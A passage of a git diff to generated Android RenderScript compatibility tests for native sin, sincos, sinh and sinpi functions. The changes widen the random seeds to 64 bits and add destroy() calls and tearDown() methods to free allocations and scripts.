     private void checkNativeSinFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd9d46928l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x246c0884d9d46928l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeSinFloat4Float4(inV, out);
             verifyResultsNativeSinFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinFloat4Float4(inV, out);
             verifyResultsNativeSinFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeSinHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd39c78f2l, -314, 314);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x1baf642d39c78f2l, -314, 314);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeSinHalfHalf(inV, out);
             verifyResultsNativeSinHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinHalfHalf(inV, out);
             verifyResultsNativeSinHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeSinHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xc5c9a04l, -314, 314);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x7f5bb88e0c5c9a04l, -314, 314);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeSinHalf2Half2(inV, out);
             verifyResultsNativeSinHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinHalf2Half2(inV, out);
             verifyResultsNativeSinHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeSinHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x6b645ef8l, -314, 314);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x7f5bc32f6b645ef8l, -314, 314);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeSinHalf3Half3(inV, out);
             verifyResultsNativeSinHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinHalf3Half3(inV, out);
             verifyResultsNativeSinHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeSinHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xca6c23ecl, -314, 314);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x7f5bcdd0ca6c23ecl, -314, 314);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeSinHalf4Half4(inV, out);
             verifyResultsNativeSinHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinHalf4Half4(inV, out);
             verifyResultsNativeSinHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSincos.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSincos.java
index 6a1c5b5..1475db3 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSincos.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSincos.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestNativeSincosRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inV;
         public Target.Floaty outCos;
@@ -44,13 +51,15 @@
     }
 
     private void checkNativeSincosFloatFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x6436cc13l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe15df2366436cc13l, false);
         try {
             Allocation outCos = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocOutCos(outCos);
             script.forEach_testNativeSincosFloatFloatFloat(inV, out);
             verifyResultsNativeSincosFloatFloatFloat(inV, outCos, out, false);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSincosFloatFloatFloat: " + e.toString());
         }
@@ -60,9 +69,12 @@
             scriptRelaxed.set_gAllocOutCos(outCos);
             scriptRelaxed.forEach_testNativeSincosFloatFloatFloat(inV, out);
             verifyResultsNativeSincosFloatFloatFloat(inV, outCos, out, true);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSincosFloatFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSincosFloatFloatFloat(Allocation inV, Allocation outCos, Allocation out, boolean relaxed) {
@@ -132,13 +144,15 @@
     }
 
     private void checkNativeSincosFloat2Float2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xda676ea9l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xe5a1f1dcda676ea9l, false);
         try {
             Allocation outCos = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocOutCos(outCos);
             script.forEach_testNativeSincosFloat2Float2Float2(inV, out);
             verifyResultsNativeSincosFloat2Float2Float2(inV, outCos, out, false);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSincosFloat2Float2Float2: " + e.toString());
         }
@@ -148,9 +162,12 @@
             scriptRelaxed.set_gAllocOutCos(outCos);
             scriptRelaxed.forEach_testNativeSincosFloat2Float2Float2(inV, out);
             verifyResultsNativeSincosFloat2Float2Float2(inV, outCos, out, true);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSincosFloat2Float2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSincosFloat2Float2Float2(Allocation inV, Allocation outCos, Allocation out, boolean relaxed) {
@@ -220,13 +237,15 @@
     }
 
     private void checkNativeSincosFloat3Float3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xdc45704al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3a06cffcdc45704al, false);
         try {
             Allocation outCos = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocOutCos(outCos);
             script.forEach_testNativeSincosFloat3Float3Float3(inV, out);
             verifyResultsNativeSincosFloat3Float3Float3(inV, outCos, out, false);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSincosFloat3Float3Float3: " + e.toString());
         }
@@ -236,9 +255,12 @@
             scriptRelaxed.set_gAllocOutCos(outCos);
             scriptRelaxed.forEach_testNativeSincosFloat3Float3Float3(inV, out);
             verifyResultsNativeSincosFloat3Float3Float3(inV, outCos, out, true);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSincosFloat3Float3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSincosFloat3Float3Float3(Allocation inV, Allocation outCos, Allocation out, boolean relaxed) {
@@ -308,13 +330,15 @@
     }
 
     private void checkNativeSincosFloat4Float4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xde2371ebl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8e6bae1cde2371ebl, false);
         try {
             Allocation outCos = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocOutCos(outCos);
             script.forEach_testNativeSincosFloat4Float4Float4(inV, out);
             verifyResultsNativeSincosFloat4Float4Float4(inV, outCos, out, false);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSincosFloat4Float4Float4: " + e.toString());
         }
@@ -324,9 +348,12 @@
             scriptRelaxed.set_gAllocOutCos(outCos);
             scriptRelaxed.forEach_testNativeSincosFloat4Float4Float4(inV, out);
             verifyResultsNativeSincosFloat4Float4Float4(inV, outCos, out, true);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSincosFloat4Float4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSincosFloat4Float4Float4(Allocation inV, Allocation outCos, Allocation out, boolean relaxed) {
@@ -403,13 +430,15 @@
     }
 
     private void checkNativeSincosHalfHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x75ce8c9al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc8c32e2575ce8c9al, false);
         try {
             Allocation outCos = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocOutCos(outCos);
             script.forEach_testNativeSincosHalfHalfHalf(inV, out);
             verifyResultsNativeSincosHalfHalfHalf(inV, outCos, out, false);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSincosHalfHalfHalf: " + e.toString());
         }
@@ -419,9 +448,12 @@
             scriptRelaxed.set_gAllocOutCos(outCos);
             scriptRelaxed.forEach_testNativeSincosHalfHalfHalf(inV, out);
             verifyResultsNativeSincosHalfHalfHalf(inV, outCos, out, true);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSincosHalfHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSincosHalfHalfHalf(Allocation inV, Allocation outCos, Allocation out, boolean relaxed) {
@@ -498,13 +530,15 @@
     }
 
     private void checkNativeSincosHalf2Half2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x9b1d1008l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xb0ce34539b1d1008l, false);
         try {
             Allocation outCos = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocOutCos(outCos);
             script.forEach_testNativeSincosHalf2Half2Half2(inV, out);
             verifyResultsNativeSincosHalf2Half2Half2(inV, outCos, out, false);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSincosHalf2Half2Half2: " + e.toString());
         }
@@ -514,9 +548,12 @@
             scriptRelaxed.set_gAllocOutCos(outCos);
             scriptRelaxed.forEach_testNativeSincosHalf2Half2Half2(inV, out);
             verifyResultsNativeSincosHalf2Half2Half2(inV, outCos, out, true);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSincosHalf2Half2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSincosHalf2Half2Half2(Allocation inV, Allocation outCos, Allocation out, boolean relaxed) {
@@ -593,13 +630,15 @@
     }
 
     private void checkNativeSincosHalf3Half3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xf9bc20d7l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xd682b43cf9bc20d7l, false);
         try {
             Allocation outCos = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocOutCos(outCos);
             script.forEach_testNativeSincosHalf3Half3Half3(inV, out);
             verifyResultsNativeSincosHalf3Half3Half3(inV, outCos, out, false);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSincosHalf3Half3Half3: " + e.toString());
         }
@@ -609,9 +648,12 @@
             scriptRelaxed.set_gAllocOutCos(outCos);
             scriptRelaxed.forEach_testNativeSincosHalf3Half3Half3(inV, out);
             verifyResultsNativeSincosHalf3Half3Half3(inV, outCos, out, true);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSincosHalf3Half3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSincosHalf3Half3Half3(Allocation inV, Allocation outCos, Allocation out, boolean relaxed) {
@@ -688,13 +730,15 @@
     }
 
     private void checkNativeSincosHalf4Half4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x585b31a6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xfc373426585b31a6l, false);
         try {
             Allocation outCos = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocOutCos(outCos);
             script.forEach_testNativeSincosHalf4Half4Half4(inV, out);
             verifyResultsNativeSincosHalf4Half4Half4(inV, outCos, out, false);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSincosHalf4Half4Half4: " + e.toString());
         }
@@ -704,9 +748,12 @@
             scriptRelaxed.set_gAllocOutCos(outCos);
             scriptRelaxed.forEach_testNativeSincosHalf4Half4Half4(inV, out);
             verifyResultsNativeSincosHalf4Half4Half4(inV, outCos, out, true);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSincosHalf4Half4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSincosHalf4Half4Half4(Allocation inV, Allocation outCos, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinh.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinh.java
index 4d7cca1..53fdfcf 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinh.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinh.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeSinhRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeSinhFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x515a0f86l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xa11cf844515a0f86l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeSinhFloatFloat(inV, out);
             verifyResultsNativeSinhFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinhFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinhFloatFloat(inV, out);
             verifyResultsNativeSinhFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinhFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinhFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeSinhFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x57f45fbal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xaa17dab657f45fbal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeSinhFloat2Float2(inV, out);
             verifyResultsNativeSinhFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinhFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinhFloat2Float2(inV, out);
             verifyResultsNativeSinhFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinhFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinhFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeSinhFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x4e0f8098l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xaa19a3d14e0f8098l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeSinhFloat3Float3(inV, out);
             verifyResultsNativeSinhFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinhFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinhFloat3Float3(inV, out);
             verifyResultsNativeSinhFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinhFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinhFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeSinhFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x442aa176l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xaa1b6cec442aa176l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeSinhFloat4Float4(inV, out);
             verifyResultsNativeSinhFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinhFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinhFloat4Float4(inV, out);
             verifyResultsNativeSinhFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinhFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinhFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeSinhHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x5ff5eda0l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xdf84fb575ff5eda0l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeSinhHalfHalf(inV, out);
             verifyResultsNativeSinhHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinhHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinhHalfHalf(inV, out);
             verifyResultsNativeSinhHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinhHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinhHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeSinhHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xbe7856c2l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x677a69f7be7856c2l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeSinhHalf2Half2(inV, out);
             verifyResultsNativeSinhHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinhHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinhHalf2Half2(inV, out);
             verifyResultsNativeSinhHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinhHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinhHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeSinhHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x1d801bb6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x677a74991d801bb6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeSinhHalf3Half3(inV, out);
             verifyResultsNativeSinhHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinhHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinhHalf3Half3(inV, out);
             verifyResultsNativeSinhHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinhHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinhHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeSinhHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x7c87e0aal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x677a7f3a7c87e0aal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeSinhHalf4Half4(inV, out);
             verifyResultsNativeSinhHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinhHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeSinhHalf4Half4(inV, out);
             verifyResultsNativeSinhHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeSinhHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeSinhHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinpi.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinpi.java
index 2d7a10d..4ed8038 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinpi.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinpi.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeSinpiRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeSinpiFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xaee7fd93l, false);
